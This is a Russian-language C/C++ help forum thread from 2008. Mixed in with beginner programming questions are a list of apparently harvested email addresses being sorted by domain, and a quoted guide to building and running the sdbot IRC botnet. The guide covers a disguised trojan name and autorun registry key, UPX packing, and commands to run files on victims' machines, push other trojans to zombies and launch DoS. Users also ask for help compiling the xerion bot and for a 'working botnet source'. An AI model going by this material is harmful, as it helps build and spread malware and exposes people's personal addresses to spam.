ММММММЂяdimych-sanММММММММММЂяnn-2002МММММММММММММЂяecoinformservic eММММЂяbevzsМММММММММММММММ яpaw_katМММММММММММММЂяlepinska yaММММММММММЂяdaria_zaroubinaММММ МЂяhoha_hohaМММММММММММЂяmurka28 07МММММММММММЂяgnedishevММММММ МММММЂяmay.eМММММММММММММММ Ђяsergun74ММММММММММММЂяmoiadres ssММММММММММЂяjiexa-xaММММММММММММЂяmassaradeyaММММ МММММЂяkakosjanММММММММММММЂ azariyaМММММММММММММЂяc_natalia_ 777МММММММЂяtrapeznikМММММММММ МЂяbelousov1977ММММММММЂяannalush МММММММММММЂяkristischaММММММ ММММЂяtolya_misnikММММММММЂяshil o1991МММММММММММЂяblago1ММММММ ММММММММЂяxhatecorexМММММММММ Ђяfred_tntММММММММММММЂяtrunchi kММММММММММММЂяld-filesММММММММММММЂяfazlievdeniskaМ МММММЂяfroluga1985МММММММММЂяe gonbostonskyМММММММЂяmadaratММММММ МММММММЂяbit1982ММММММММММММ МЂяartempatrikeevММММММЂяscotch-МММММММММММММЂяelistratovajМММ ММММЂяdumoh007ММММММММММММЂя natellacherryМММММММЂяjulen18МММММ ММММММММЂяrysena84ММММММММММ МЂяpodgornyi_romanМММММЂяso_82МММ МММММММММММЂяdanila_sdlММММММ ММММЂяjulia-10ffММММММММММЂяshlyapavsММММММ МММММЂяdusik_dashaМММММММММЂяj ane_krashММММММММММЂяdemastiyММММ ММММММММЂяabc1990dММММММММММ МЂяrasmys666МММММММММММЂяsvetik .l06ММММММММММЂяdevo4ka_iz_4itbiММ МЂяfakeeeeeeeerММММММММЂяdubovsky6 6ММММММММММЂяvsevishnii-boh86ММММЂяgrapes-17МММММММММММЂяjane_ejik_msuММММ МММЂяbirka13.89ММММММММММЂяcry_ wolf-89МММММММММЂяagnia_barsukovaМММММ Ђяmane4ka2kМММММММММММЂяanenekМ ММММММММММММЂяz119ММММММММ ММММММММЂяovickММММММММММММ МММЂяr-emelyanovМММММММММЂяgalinaryzovaМММ МММММЂяkafe_brМММММММММММММЂ яdementev-aММММММММММЂяasset0679МММММММ МММЂяjuodasММММММММММММММЂя sergej-reich78ММММММЂяlvd1967МММММММММ МММЂяnekrasov_123ММММММММЂяkipar ys83МММММММММММЂяsokolov-pasha.92ММММЂяdjgrafinММММММММММ МЂяmalipyssММММММММММММЂяartem ka__91МММММММММЂяmarzhansММММММ МММММЂяksuxa-13890МММММММММЂяkemar2007ММММММ ММММЂяrus-dubokМММММММММММЂяasl_84ММММММ ММММММММЂяvmihalevskyМММММММММ Ђяzhenjok85МММММММММММЂяolga_onaf tММММММММММЂяalone_forsakenМММММ МЂяleon81savokМММММММММЂяroma_supe rmanМММММММЂяsiyanie_strastiМММММЂ яmega-stroy1МММММММММЂяgermankuchmaryovММ МЂяsanya_matusМММММММММЂя4enyxМ МММММММММММММЂяbadi851МММММ МММММММЂяb-oleg.07МММММММММММЂяkrylova-kr.seloМММММЂяjerdna13ММММММММММ ММЂяmarina-skladММММММММЂяkatyagribovaММММММ ММЂяlokpco_s-recММММММММЂяstrojholdingМММММММ МЂяsofya_zaidesММММММММЂяdj_rock88 ММММММММММЂяolgabostММММММММ ММММЂяkot9ipa2007МММММММММЂяfil ippov84ММММММММММЂяmargoshka.77МММ МММММЂяmarinav82МММММММММММЂя muhladeevaММММММММММЂяsergg-jeffММММММММММЂяnatka-natka-natМММММЂяmcr93МММММММММММММ МЂяmega-ponchikММММММММЂяquest888МММММММ МММММЂяmaiorova.ekateriММММЂяduke-evilМММММММММММЂяnarellaММММММ МММММММЂяasselya-djММММММММММЂяslonic.spbММММММ МММЂяwiseladМММММММММММММЂя iama32ММММММММММММММЂяevgrudММ МММММММММММЂяfeeriaММММММММ ММММММЂяmoscow-beautyМММММММЂяcherrymaryМММММММ ММЂяdima_tarasovММММММММЂяar
мож кто подскажет в чем дело
Delimiter
11.05.2008, 23:01
дай формат файлов! Хотя бы одну строку!
файл из которого читаю
satira_2006@mail.ru
jullight@mail.ru
ishipitkin@mail.ru
missmurderin@mail.ru
putnikmark@list.ru
mik8793@mail.ru
beloved3110@mail.ru
ase495@mail.ru
strateg86@mail.ru
edmee@mail.ru
dichka777@mail.ru
22adeles08_90@mail.ru
master-14@mail.ru
k.sofronov@mail.ru
sdaandmua@mail.ru
chentv@mail.ru
genay_k@mail.ru
kutja80@mail.ru
final85@mail.ru
titan1963@mail.ru
mansur_x@mail.ru
vladya@mail.ru
piligrim@bk.ru
karavaev_s@mail.ru
hira@bk.ru
beyer@mail.ru
boyboy@bk.ru
gulietta_1983@mail.ru
на выходе
satira_2006МММММММММЂяjullightММММ ММММММММЂяishipitkinМММММММ
Delimiter
11.05.2008, 23:13
j=0;
while(buf[i]!='\n')
{
if(buf[i]=='@')
{
buf2[j]=0;
if(buf[i+1]=='m')
{
fputs(buf2,mfile);//break;
return 0;
}
if(buf[i+1]=='y')
{
fputs(buf2,yfile);//break;
return 0;
}
if(buf[i+1]=='l')
{
fputs(buf2,lfile);//break;
return 0;
}
if(buf[i+1]=='b')
{
fputs(buf2,bfile);//break;
return 0;
}
if(buf[i+1]=='i')
{
fputs(buf2,ifile);//break;
return 0;
}
if(buf[i+1]=='r')
{
fputs(buf2,rfile);//break;
return 0;
}
j=0;
}
else
{
buf2[j]=buf[i];
j++
}
i++;
}
спасибо терь все норм ток символ переноса строки добавил
ток я не въехал откуда эти крокозябры
Если после описания переменной, не присвоить ей какое-нить значение, то переменная будет содержать в себе т.н. "мусор"(любое непредсказуемое значение).
если это конечно не глобальная переменная ))
Delimiter
12.05.2008, 17:40
2 zo1****
WinInet получалка! :cool:
int gethttp(char *my_url, char *my_path)
{
int cntstr;
char before[100];
CString strServerName; // имя сервера
CString strObject; // имя объекта
INTERNET_PORT nPort; // номер порта для связи
DWORD dwServiceType; // тип сервиса
DWORD arg=0;
char *pt;
char *inquire;
int entr1,entr2;
int incld;
struct sockaddr_in clnt_sin, srv_sin;
bool bReuse = TRUE;
char prbuf[10];
char *curptr;
char debugstr[40];
char *mytempbuf;
char sysstr[50];
char myname[50];
int i,j,l,m;
int ex,mycritfl=0;
int cnt=0;
int length;
mytempbuf=new char[5000];
CString m_url;
CString m_path;
FILE *fptr;
if(strlen(my_url)>3)
m_url=CString(my_url);
m_path=CString(my_path);
// создаём переменную session и открываем сессию ANDY
CInternetSession session( _T( "Delimiter" ), PRE_CONFIG_INTERNET_ACCESS );
// создаём переменную pServer класса CHttpConnection
CHttpConnection* pServer = NULL;
// создаём переменную pFile класса CHttpFile
CHttpFile* pFile = NULL;
//Обратите внимание, что все запросы к функциям членам WinInet классов включены в блок программы TRY.
//Это сделано так, потому что при соединении с каким либо URL есть риск неправильной ссылки,
//особенно, когда Вы полагаете, что пользователь сам печатает URL.
//Другая проблема - времена ожидания, которые возникают, когда требуемый URL в настоящее время
//неспособен обслужить подключение.
//Так же обработка WinInet исключений, которые представлены в классе
//CInternetException, является важной частью создания Internet приложения под MFC.
try
{
// функция AfxParseURL получает данные с указанного URL ( у нас m_url ) об сервере,
// объекте, типе сервиса и порте
if ( AfxParseURL( m_url, dwServiceType, strServerName, strObject, nPort ) == 0 )
{
delete[] mytempbuf;
return 0;
}
// вывод данных о сервере
// Устанавливаем подключение по HTTP протоклолу.
pServer = session.GetHttpConnection( strServerName, nPort );
// посылаем запрос об объекте ( strObject )
pFile = pServer->OpenRequest(
CHttpConnection::HTTP_VERB_GET, strObject, NULL, 1, NULL, NULL,
INTERNET_FLAG_EXISTING_CONNECT | INTERNET_FLAG_NO_AUTO_REDIRECT | INTERNET_FLAG_DONT_CACHE
);
// Добавляем заголовок к HTTP запросу
pFile->AddRequestHeaders( _T( "Accept: */*\r\nUser-Agent: Delimiter\r\n" ) );
// посылаем запрос
pFile->SendRequest( );
DWORD dwRet; // переменная для хранения кода состояния
pFile->QueryInfoStatusCode( dwRet ); // записываем код состояния в dwRet
// вывод данных
CString strHeader; // переменная для хранения полученного заголовока запроса
pFile->QueryInfo(HTTP_QUERY_RAW_HEADERS_CRLF, strHeader); // записываем заголовок в strHeader
// вывод данных
// если код состояния не равен 200, то выходим из функции
if( dwRet != 200 )
{
//m_mes += "thread terminate!";
delete[] mytempbuf;
session.Close( );
return 0;
}
// ----------------------------------------------------------
fptr=fopen(my_path,"wb");
int allRead = 0; // переменная для хранения общего числи считанных байт
int nRead = pFile->Read( mytempbuf, 1024 ); // считываем первые 1024 байта в буфер.
// переменная nRead хранит количество
// считанных байт
allRead += nRead; // обновляем общее число считанных байт
// записываем буфер из nRead байт в файл
fwrite(mytempbuf,1,nRead,fptr); //file2.Write( strBody, nRead );
// цикл считывания, пока nRead не будет равняться нулю
while ( nRead > 0 )
{
nRead = pFile->Read( mytempbuf, 1024 );
if( nRead != 0 )
{
fwrite(mytempbuf,1,nRead,fptr);//file2.Write( strBody, nRead );
allRead += nRead;
}
}
fclose(fptr);
}
catch ( CInternetException* pEx )
{
// Если произошла ошибка в WinInet
// вывод ошибки
char szErr[1024];
pEx->GetErrorMessage( szErr, 1024 );
pEx->Delete( ); // удаление переменной класса CInternetException
if ( pFile != NULL )
delete pFile; // закрываем Internet файл
if ( pServer != NULL )
delete pServer; // закрываем сервер
delete[] mytempbuf;
Sleep(50);
return 0;
}
if ( pFile != NULL )
delete pFile; // закрываем Internet файл
if ( pServer != NULL )
delete pServer; // закрываем сервер
session.Close( ); // закрываем сессию
delete[] mytempbuf;
return 1;
}
нужна помощь только начал изучать С++ есть программа которая создаёт файл reg.txt как заделать так чтоб она этот файл раз в 1 день выкладывала на фтп и желательно чтоб до пасовала в него новую информацию прошу сильно не ругать наверно глупый вопрос но я только учусь
Пожалуйста, помогите.
Есть динамический массив - int *mass = new char [200]. В нем содержится какое-то предложение.
С помощью функции strtok() я нахожу там определенное слово (его, например, вводит пользователь) и копирую его в другой динамический массив - slovo. Потом переворачиваю этот массив, используя функцию strrev(). Т. е. было слово "елка", а стало "акле".
Мне нужно как-то перезаписать слово "елка", находящиеся в дин. массиве mass на это же слово, только перевернутое - "акле" (которое находиться в массиве slovo). Т. е. записать в массив mass массив slovo, на то место, где находится слово "елка". Как это сделать?
ЗЫ извините за кривость изложения
Delimiter
24.05.2008, 16:38
memmove(pointer,slovo,strlen(slovo));
Помогите, пожалуйста! Решил на днях попробывать написать простенький ботнет с исходника sdbot (0.5a), сделал все по описанию, с компелировал через VStudio 8.0, получил exe файл, запустил, он вошел в IRC чат, но команды вообще не воспринимает, тупо молчит.... вот (http://slil.ru/25826167) ссылка на бот.
Вот к примеру ботнет [SD]-Bot от русского автора [SD].Это простенький и стабильный бот, обладающий функциями DoS/Администрирование IRC-канала (не уступает возможностям eggdrop). Бот управляется через IRC.
/msg chanserv register #канал пароль краткое_описание_канала (например канал Васи Пупкина)
Для компиляции необходим LCC или Visual Studio 6.У меня стоит Visual Studio 7 .NET
распаковываем исходники и открываем файл SDBOT05A.CPP.Находим там строчку:
irc_sendf2(sock, "JOIN %s %s\r\n", channel, chanpass)
и меняем ее на:
irc_sendf2(sock, "JOIN %s %s\r\n", channel, chanpass);
Все, ошибка исправлена, теперь в строчке выше ищем следующую строчку:
// bot configuration
const char botid[] = "set_me"; // ID бота,можно вписывать что угодно, апример "mYz0mb1e"
const char password[] = "set_me"; // Пароль на бота.
const char server[] = "set_me"; // IRC-сервер,пример: "irc.dalnet.ru"
const int port = 6667; // Порт сервера, оставьте как есть.
const char server2[] = ""; // необязательный параметр, на случай если 1 сервер будет не доступен, то бот законнектится на второй
const int port2 = 6667; // Аналогично
const char serverpass[] = ""; // Пароль от сервера(оставьте пустым)
const char channel[] = "set_me"; // Канал ,где будут отчитываться боты, пример: "#ru24"
const char chanpass[] = ""; // Пароль от канала (не обязательный параметр, если ваш канал не требует авторизации)
const char filename[] = "win.exe"; // Название файла-трояна(бот) которое будет видно в процессах.
const BOOL regrun = TRUE; // Использовать ключ в реестре для автозагрузки(включено по умолчанию)
const char valuename[] = "Microsoft Internet Explorer"; // Название ключа в реестре
const char prefix = '.'; // Префикс название у ботов(необязательный параметр)
const char version[] = "sdbot v0.5a by [sd]"; // Метка бота ;)
Все, бот готов к эксплуатации. Теперь компилируем, после этого сжимаем его UPX'ом чтобы уменьшить размер. Теперь заходим на IRC-канал,запускаем у себя трояна и видим что на канал зашел бот :) Теперь можно давать команды боту.
Пример:
<< Nitrex >>: .about
<sdbot1>: sdbot version 0.4c by [sd] (sdbot@mail.ru). homepage: sdbot.n3.net/
<sdbot2>: sdbot version 0.4c by [sd] (sdbot@mail.ru). homepage: sdbot.n3.net/
<sdbot3>: sdbot version 0.4c by [sd] (sdbot@mail.ru). homepage: sdbot.n3.net/
Все боты послушно выполнили нашу команду - показать инфу о создателе бота.
Список самых нужных команд для [SD]-Бота:
cycle <seconds> <channel> - уйти на N-кол-во времени с канала, а потом зайти.
die - самоубийство :)
execute <visibility> <file> [parameters] - запустить файл на компьютере жертвы
download <url> <destination> <action> - скачать файл на комьютер-зомби. Очень полезно когда нужно затроянить всех зомби другим трояном или модификацией бота!
ping <host> <# of pings> <packet size> <timeout> - великий и ужасный ПИНГ aka DoS ;)
Установил библиотеку fmod под DevC++ но выдаются ошибки
Linker error:
undefined reference to `FSOUND_Init@12'
undefined reference to `FSOUND_Stream_Open@16'
undefined reference to `FSOUND_Stream_Play@8'
undefined reference to `FSOUND_Stream_Close@4'
Как подключить ее к компановщику в DevC++?
В свойствах проекта должно быть.
А вообще если нравися Dev-cpp, то удали енго и поставь Code::Blocks. Это как бы его логическое продолжение.
cash$$$, я как раз по этому описанию и делал... оно для 0.4с версии, а в 0.5а эти ошибки изначально исправлены... я все делал по этому описанию но на любые команды(с префиксом и без) он не отвечает...
halkfild
25.05.2008, 17:55
В свойствах проекта должно быть.
А вообще если нравися Dev-cpp, то удали енго и поставь Code::Blocks. Это как бы его логическое продолжение.
http://img339.imageshack.us/img339/7805/50381867rd5.th.png (http://img339.imageshack.us/my.php?image=50381867rd5.png)
Подрубал вот так!
http://img357.imageshack.us/my.php?image=75490858vu0.jpg
Я короче часы делаю и при прохождении стрелки один круг они должны звенеть пише так не звенят!
if (as==90)
{
FSOUND_Init(44100,32,0);
FSOUND_STREAM *stream =
FSOUND_Stream_Open("20-Michael Woods-Dan.mp3",FSOUND_2D,0,0);
FSOUND_Stream_Play(0,stream);
}
Люди! может мне все таки поможет? мне очень надо... или подскажите точно работающий исходник на ботнет, желательно через Irc...
Пишу часы на курсовик по прохождению круга должны пикать но не пищат почему подскажите!
Вот полный исходник http://ifolder.ru/6772458
а вот кусок со звуком
if (as==90)
{
Beep(294, 1000/8);
Beep(440, 1000/4);
Beep(262*2, 1000/4);
Beep(330*2, 1000/4);
Beep(415, 1000/8);
Beep(440, 1000);
}
чтобы вызвать функции chr() или ord()(если такие есть в С++), какие модули должны быть подключены?
C++, microsoft visual studio 2008
привет, дайте плз ссылочку на книжку по Visual C++ 2008, ссори что не туда написал
чтобы вызвать функции chr() или ord()(если такие есть в С++), какие модули должны быть подключены?
C++, microsoft visual studio 2008
#include <stdlib.h>
char() = chr()
(int)char = ord(char)
Blad94, Visual C++ 2008 является средой разработки. Прочитать о ней ты сможешь в документации, а если тебе нужна книжка по языку С++, посмотри в соответствующей теме.
Парни хелп...
Скомпилил проект в Борланд С++ 6
У меня все пашет, а у друзей выдает :
"Приложению не удалось запуститься, поскольку rtl60.bpl не был найден. Повторная установка приложения может исправить эту проблему."
Как можно устранить ? Или в опциях поставить... МНе пусть размер проги будет больший, но чтобы все пахало!!!
0verbreaK
08.06.2008, 13:17
Парни хелп...
Скомпилил проект в Борланд С++ 6
У меня все пашет, а у друзей выдает :
"Приложению не удалось запуститься, поскольку rtl60.bpl не был найден. Повторная установка приложения может исправить эту проблему."
Как можно устранить ? Или в опциях поставить... МНе пусть размер проги будет больший, но чтобы все пахало!!!
Не Использовать пакеты
Project->Options->Packages сними галочку с Build with runtime packages
procedure
08.06.2008, 17:34
Как можно в С, копировать полностью строку ввода, не испльзуя массивы с помощью функции getchar() в строку вывода. т.е. получается все должно быть в переменной типа long?
Delimiter
08.06.2008, 17:40
long value;
scanf("%l",&value);
procedure
08.06.2008, 17:47
желательно бы используя только getchar и переменные.*)))
я в учебнике только их прошел, а там задание скопировать входной поток в выходной.
Delimiter
08.06.2008, 17:53
НЕЛЬЗЯ без массива получить значение типа long c использованием getchar!!!
// есть тока одЫн способ привадный
берешь калькулятор загоняешь число .... берешь его шестнадцатиричное представление делишь все по две букивки(байты)!
Далее находишь буквы соответствующие кодам байтоффф.... и колотишь 4 (символа)байта (вычесленных тобой)
НО В ЛЮБОМ СЛУЧАЕ ДАЖЕ ПЕРЕМЕННАЯ ТИПА LONG ЭТО МАССИВ ИЗ 4-Х БАЙТОВ! ..
procedure
08.06.2008, 18:06
НЕЛЬЗЯ без массива получить значение типа long c использованием getchar!!
а как с массивом будет выглядеть?
лана сам сделаю, забегу вперед почитаю про массивы. спасибо.
Delimiter
08.06.2008, 18:12
char buffer[81];
int i, ch;
long value;
printf( "Enter a Number: " );
for( i = 0; (i < 80) && ((ch = getchar()) != EOF) && (ch != '\n'); i++ )
buffer[i] = (char)ch;
buffer[i] = '\0';
value=atol(buffer);
// 8))))))))))))))))) обрати внимание ДОБАВИЛ для тебя!!!
printf("Your number:%l",value);
стандарт ANSI С который я даю поддерживается на любой платформе! ХОТЬ НА UNIX!
Или я МОНСТР пишущий сразу под любую платформу!?? :D
procedure
08.06.2008, 18:17
ok, spasibo. Esli ne poluchitsa, zaidu proveru sam sebya*)))
Kstati kod pohodu rabotat ne budet, potomu chtu pod freebsd na kompilyatore cc nujni vrode skobki posle cikla for.
[root@procedure /tmp/programming]# cc cpstring.c
[root@procedure /tmp/programming]# /tmp/programming/a.out
Enter a Number: 10
[root@procedure /tmp/programming]#
t.e. kak bi tolko chislo sprasivaet.
p.s. ya ponyal chuvaki nujno billo ne stroki polnostu copyrovat, a simvoli.
0verbreaK
08.06.2008, 21:47
ok, spasibo. Esli ne poluchitsa, zaidu proveru sam sebya*)))
Kstati kod pohodu rabotat ne budet, potomu chtu pod freebsd na kompilyatore cc nujni vrode skobki posle cikla for.
[root@procedure /tmp/programming]# cc cpstring.c
[root@procedure /tmp/programming]# /tmp/programming/a.out
Enter a Number: 10
[root@procedure /tmp/programming]#
t.e. kak bi tolko chislo sprasivaet.
p.s. ya ponyal chuvaki nujno billo ne stroki polnostu copyrovat, a simvoli.
Dev_C++ все собрал нормально
[Dezzter]
08.06.2008, 22:15
Такой вопрос, вот 2 строчки, в каждой ошибка:
_snprintf(buffer,sizeof(buffer),"Attempting: %s, Share: \\%s, User: (%s/%s)",szServer,sharepath[i],szUsername,((strcmp(szPassword,"")==0)?("(no password)"):(szPassword)));
strbuf[i] = '\0';
Ошибка:
Eror C2065: 'i' : undeclared identifier
Кампилю бота xerion-2006, на си++ не кодю, поэтому ошибку сам найти не смог!
borland c++ builder
Парни как сохранить расположение окон?
']Такой вопрос, вот 2 строчки, в каждой ошибка:
_snprintf(buffer,sizeof(buffer),"Attempting: %s, Share: \\%s, User: (%s/%s)",szServer,sharepath[i],szUsername,((strcmp(szPassword,"")==0)?("(no password)"):(szPassword)));
strbuf[i] = '\0';
Ошибка:
Eror C2065: 'i' : undeclared identifier
Кампилю бота xerion-2006, на си++ не кодю, поэтому ошибку сам найти не смог!
определи int i = число по контексту;
BlackSun
08.06.2008, 22:53
borland c++ builder
Парни как сохранить расположение окон?
При выходе - получить расположение окон и записать например в реест, при старте проги получить с реестра, установить положение ..
а нет "системной "поддержки, типа кнопка" запомнить расположение окон"
[Dezzter]
08.06.2008, 22:57
определи int i = число по контексту;
Можешь попродробней, что и как, а то я на сишке ни когда не кодил, не знаю что прописывать, где и как...
BlackSun
08.06.2008, 23:04
а нет "системной "поддержки, типа кнопка" запомнить расположение окон"
А кнопки "взломать мыло 1м нажатием этой кнопки" тебе не надо?
BlackSun
ппц, я нормально спросил, если тебе не хочется отвечать не отвечай вообще!
BlackSun
08.06.2008, 23:11
BlackSun
ппц, я нормально спросил, если тебе не хочется отвечать не отвечай вообще!
А я тебе и ответил, зри посты выше. Ну если тебе готовый код нужен и подругому ты неумеешь, то накой вообше берешься за кодинг?
Епт ты где увидел что я не умею??? Я спросил более легкого варианта нет ? - Нет понятно...
Нет блин надо съязвить
---------------------------------------
Все блин пох :) Мир ! ;)
0verbreaK
09.06.2008, 02:03
а нет "системной "поддержки, типа кнопка" запомнить расположение окон"
Юзай ini файлы, сохранил в него считал с помощью
GetPrivateProfileString
Architek86
09.06.2008, 23:47
алгоритм, который бы заменял значение определённого ключа на другое при запуске программы, не подскажете? :)
0verbreaK
10.06.2008, 01:12
алгоритм, который бы заменял значение определённого ключа на другое при запуске программы, не подскажете? :)
Вопрос не понятен, лучше объясни суть проблемы.
nc.STRIEM
10.06.2008, 12:36
алгоритм, который бы заменял значение определённого ключа на другое при запуске программы, не подскажете? :)
WritePrivateProfileString
procedure
10.06.2008, 22:46
Извиняюсь за тупое форматирование текста, эт мой блокнот юникс файлы открывает так. Можете подсказать где может быть ошибка? Результат выводится только значения все на 0.
#include main() { int c, nl, t, space, n, i, l; int array[100]; nl = c = t = space = n = 0; for (i = 0; i < 100; ++i) { array[i] = 0; } i = 0; while ((c = getchar()) != EOF) { if (c = '\n') { printf("\n\tSymbol: "); for (l = 0; l < i; ++l) { printf("%d ", array[l]); } printf("\n\tTab: %d\n\tSpace: %d\n\tNumber: %d\n", t, space, n); break; } else if (c = '\t') { ++t; } else if (c = ' ') { ++space; } else if (c >= '0' && c <= '9') { ++n; } else { array[i] = c; ++i; } } }
Опишите, плз, как написать программу (на подобие teleport pro), на языке СИ
Итак, что нужно:
Программа скачивает страницы, которые ей указали в виде списка.
Список url-ов хранится в текстовом файле.
Алгоритм бы знать,где искать и т.д.
Извиняюсь за тупое форматирование текста, эт мой блокнот юникс файлы открывает так. Можете подсказать где может быть ошибка? Результат выводится только значения все на 0.
В твоем коде даже не попробовал разбираться. Если тебе ответ нужен, оформляй норм, ибо никто не собирается глаза ломать.
ЗЫ
На будущее юзай vim или хотябы nano
procedur, попробуй через WordPad открыть.. или как он там в винде называется..
Опишите, плз, как написать программу (на подобие teleport pro), на языке СИ
Итак, что нужно:
Программа скачивает страницы, которые ей указали в виде списка.
Список url-ов хранится в текстовом файле.
Алгоритм бы знать,где искать и т.д.
а какая иде?
в принципе парсится файл построчно, т.е. одна строка - одна сылка. Потом качаем через InternetReadFile().
Вот код в инете нашел
BOOL GetFile (HINTERNET IN hOpen, // Handle from InternetOpen()
CHAR *szUrl, // Full URL
CHAR *szFileName) // Local file name
{
DWORD dwSize;
CHAR szHead[] = "Accept: */*\r\n\r\n";
VOID * szTemp[25];
HINTERNET hConnect;
FILE * pFile;
if ( !(hConnect = InternetOpenUrl ( hOpen, szUrl, szHead,
lstrlen (szHead), INTERNET_FLAG_DONT_CACHE, 0)))
{
cerr << "Error !" << endl;
return 0;
}
if ( !(pFile = fopen (szFileName, "wb" ) ) )
{
cerr << "Error !" << endl;
return FALSE;
}
do
{
// Keep coping in 25 bytes chunks, while file has any data left.
// Note: bigger buffer will greatly improve performance.
if (!InternetReadFile (hConnect, szTemp, 50, &dwSize) )
{
fclose (pFile);
cerr << "Error !" << endl;
return FALSE;
}
if (!dwSize)
break; // Condition of dwSize=0 indicate EOF. Stop.
else
fwrite(szTemp, sizeof (char), dwSize , pFile);
} // do
while (TRUE);
fflush (pFile);
fclose (pFile);
return TRUE;
}
nc.STRIEM
11.06.2008, 00:41
>>procedure
самое начало #include main() забавно)
procedure
11.06.2008, 02:33
#include <stdio.h>
main()
{
int c, nl, t, space, n, i, l;
int array[100];
nl = c = t = space = n = 0;
for (i = 0; i < 100; ++i) {
array[i] = 0;
}
i = 0;
while ((c = getchar()) != EOF) {
if (c = '\n') {
printf("\n\tSymbol: ");
for (l = 0; l < i; ++l) {
printf("%d ", array[l]);
}
printf("\n\tTab: %d\n\tSpace: %d\n\tNumber: %d\n", t, space, n);
break;
}
else if (c = '\t') {
++t;
}
else if (c = ' ') {
++space;
}
else if (c >= '0' && c <= '9') {
++n;
}
else {
array[i] = c;
++i;
}
}
}
Все открылся нормлально. Открывал с помощью блокнота, а в FreeBSD узал ee редактор.
Может ксе так кто нибудь поможет найти ошибку?
p.s. сразу говорю узаю компилятор cc на крайний случай могу попробывать gcc.
#include <stdio.h>
main()
{
int c, nl, t, space, n, i, l;
int array[100];
nl = c = t = space = n = 0;
for (i = 0; i < 100; ++i) {
array[i] = 0;
}
i = 0;
while ((c = getchar()) != EOF) {
if (c = '\n') {
printf("\n\tSymbol: ");
for (l = 0; l < i; ++l) {
printf("%d ", array[l]);
}
printf("\n\tTab: %d\n\tSpace: %d\n\tNumber: %d\n", t, space, n);
break;
}
else if (c = '\t') {
++t;
}
else if (c = ' ') {
++space;
}
else if (c >= '0' && c <= '9') {
++n;
}
else {
array[i] = c;
++i;
}
}
}
Все открылся нормлально. Открывал с помощью блокнота, а в FreeBSD узал ee редактор.
Может ксе так кто нибудь поможет найти ошибку?
p.s. сразу говорю узаю компилятор cc на крайний случай могу попробывать gcc.
Я не совсем понял что этот код делает. Что тебе нужно, считать сколь букв, цифр символов табуляции и новой строке, есть в строке?
ггг, процедур, как насчет того, чтобы внутри ифа поставить сравнение, а не присваивание?
if (c == '\n') {
и т.д.
procedure
11.06.2008, 09:11
Chuvaki pishu s brausera lynx, ppc. Spasibo bolshoe vse rabotaet. Scha zaidu s norm brausera + kinu. =)
Подскажите, пожалуйста, как создавать файл в текущей директории. Пробовал GetCurrentDir, но что то с типами переменных не выходит - char- Ansi + знак "\" надо два раза указывать. Пока юзаю стандартную процедуру.
char szFileName[MAXFILE+4];
int iFileHandle;
int iLength;
if (SaveDialog1->Execute())
{
if (FileExists(SaveDialog1->FileName))
{
fnsplit(SaveDialog1->FileName.c_str(), 0, 0, szFileName, 0);
strcat(szFileName, ".bak");
RenameFile(SaveDialog1->FileName, szFileName);
}
iFileHandle = FileCreate(SaveDialog1->FileName);
}
Но хотелось бы
1. Выдается окно SaveDialog в текущей директории.
2. Файл без запроса создается в текущей директории.
>> Подскажите, пожалуйста, как создавать файл в текущей директории.
Просто без указания полного пути. Только имя файла. Будет создан в дирректории запуска программы.
.Slip, спасибо. Попробую.
Программку пишу _http://ifolder.ru/6903178 Стоит ее постить на ачате (есть на граббе и асечке)? Если да, то в каком разделе?
nc.STRIEM
11.06.2008, 10:23
>> Подскажите, пожалуйста, как создавать файл в текущей директории
fopen("filename", "wb"); уже не катит?
groundhog
11.06.2008, 10:51
Погляди какая у тебя текущая директория (GetCurrentDirectory) после запуска экзешника. Если всё нормально запускаешь, то вызов fopen должен создавать файл в текущей директории... Или покажи весь исходник... Если запускаешь из под студии, то там текущая директория будет не директория экзешника, а директория проекта... В общем побольше описалова скинь, или исходник покажи...
groundhog Пишу на C++Builder 6.0. Домой приду - попробую что насоветовали. Останутся вопросы - позадаю. Спасибо.
procedure
11.06.2008, 16:37
BOOL GetFile (HINTERNET IN hOpen, // Handle from InternetOpen()
CHAR *szUrl, // Full URL
CHAR *szFileName) // Local file name
{
DWORD dwSize;
CHAR szHead[] = "Accept: */*\r\n\r\n";
VOID * szTemp[25];
HINTERNET hConnect;
FILE * pFile;
if ( !(hConnect = InternetOpenUrl ( hOpen, szUrl, szHead,
lstrlen (szHead), INTERNET_FLAG_DONT_CACHE, 0)))
{
cerr << "Error !" << endl;
return 0;
}
if ( !(pFile = fopen (szFileName, "wb" ) ) )
{
cerr << "Error !" << endl;
return FALSE;
}
do
{
// Keep coping in 25 bytes chunks, while file has any data left.
// Note: bigger buffer will greatly improve performance.
if (!InternetReadFile (hConnect, szTemp, 50, &dwSize) )
{
fclose (pFile);
cerr << "Error !" << endl;
return FALSE;
}
if (!dwSize)
break; // Condition of dwSize=0 indicate EOF. Stop.
else
fwrite(szTemp, sizeof (char), dwSize , pFile);
} // do
while (TRUE);
fflush (pFile);
fclose (pFile);
return TRUE;
}
Чуваки, у меня вывод в поле Symbol: в цифрах, я так понял в кодах ANSI. А можно ли сделать чтоб вывод был в символах которые я ввел?
Delimiter
11.06.2008, 19:58
strstr(kod_procedure,"Symbol") дает NULL! :cool:
BOOL GetFile (HINTERNET IN hOpen, // Handle from InternetOpen()
CHAR *szUrl, // Full URL
CHAR *szFileName) // Local file name
{
DWORD dwSize;
CHAR szHead[] = "Accept: */*\r\n\r\n";
VOID * szTemp[25];
HINTERNET hConnect;
FILE * pFile;
if ( !(hConnect = InternetOpenUrl ( hOpen, szUrl, szHead,
lstrlen (szHead), INTERNET_FLAG_DONT_CACHE, 0)))
{
cerr << "Error !" << endl;
return 0;
}
if ( !(pFile = fopen (szFileName, "wb" ) ) )
{
cerr << "Error !" << endl;
return FALSE;
}
do
{
// Keep coping in 25 bytes chunks, while file has any data left.
// Note: bigger buffer will greatly improve performance.
if (!InternetReadFile (hConnect, szTemp, 50, &dwSize) )
{
fclose (pFile);
cerr << "Error !" << endl;
return FALSE;
}
if (!dwSize)
break; // Condition of dwSize=0 indicate EOF. Stop.
else
fwrite(szTemp, sizeof (char), dwSize , pFile);
} // do
while (TRUE);
fflush (pFile);
fclose (pFile);
return TRUE;
}
Чуваки, у меня вывод в поле Symbol: в цифрах, я так понял в кодах ANSI. А можно ли сделать чтоб вывод был в символах которые я ввел?
Мдее... я для примера тебе дал. Дальше меняй сам, как тебе нужно.
procedure
12.06.2008, 00:06
#include <stdio.h>
main()
{
int c, nl, t, space, n, i, l;
int array[100];
nl = c = t = space = n = 0;
for (i = 0; i < 100; ++i) {
array[i] = 0;
}
i = 0;
while ((c = getchar()) != EOF) {
if (c = '\n') {
printf("\n\tSymbol: ");
